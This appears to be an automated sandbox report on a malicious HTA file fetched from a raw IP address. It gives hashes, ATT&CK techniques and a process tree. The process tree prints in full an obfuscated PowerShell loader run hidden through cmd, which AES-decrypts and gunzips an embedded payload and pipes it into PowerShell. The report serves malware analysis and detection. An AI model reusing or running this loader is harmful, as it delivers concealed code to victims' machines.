3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

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General

Target

163.5.169.28/SCAN-atoletter5.hta
Size

1.1MB
MD5

415d6911c9a6e92b5d3f050668592357
SHA1

3f5ddfb1475a25201e443c61e31382100e8ddbae
SHA256

87b6bcaa19c9631310bb28100e1ed2c9f2b982fa5aaef48186da150d8d1c4ac3
SHA512

6b322e26c4724efa648713c665d6eddc4f2191d9f3a7764076ae8fc8d5f13fd2301238e7aade65b49db71b0ecadd9333af42cfa7e98ae54b554a99eafc45a055
SSDEEP

1536:zA8mj3XPCeaTTQT7L/1rTrZwsvCPA68WStimr/l1vcmafSIm+lIWFiWCK4vLwwlY:zA8mrfFITQTH/1rTrZ/CPArtQ

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe
2616	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
2616	powershell.exe
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 2804	2128	mshta.exe	30
PID 2128 wrote to memory of 2804	2128	mshta.exe	30
PID 2128 wrote to memory of 2804	2128	mshta.exe	30
PID 2128 wrote to memory of 2804	2128	mshta.exe	30
PID 2804 wrote to memory of 1708	2804	powershell.exe	32
PID 2804 wrote to memory of 1708	2804	powershell.exe	32
PID 2804 wrote to memory of 1708	2804	powershell.exe	32
PID 2804 wrote to memory of 1708	2804	powershell.exe	32
PID 1708 wrote to memory of 2616	1708	cmd.exe	34
PID 1708 wrote to memory of 2616	1708	cmd.exe	34
PID 1708 wrote to memory of 2616	1708	cmd.exe	34
PID 1708 wrote to memory of 2616	1708	cmd.exe	34
PID 1708 wrote to memory of 2716	1708	cmd.exe	35
PID 1708 wrote to memory of 2716	1708	cmd.exe	35
PID 1708 wrote to memory of 2716	1708	cmd.exe	35
PID 1708 wrote to memory of 2716	1708	cmd.exe	35

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter5.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2616
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
042a562efdae93e903ec45315e74c13f

SHA1
cf4c6238b506a522013eef9a52cc4f4677a1ba84

SHA256
ee3d03e3448457a4e6000b2eb4a46bf2a71942455de117d59196a678cb6b65ea

SHA512
59af0ca6932de046682ddb31cc7a1367b98aa21c620d993efac972a98d86cf0423a13a7053f6a90eaecde21b9d70cda3678961db79beaffe38ae38df232a63d7

Download Submit
memory/2804-2-0x0000000002630000-0x0000000002670000-memory.dmp

Filesize
256KB

Download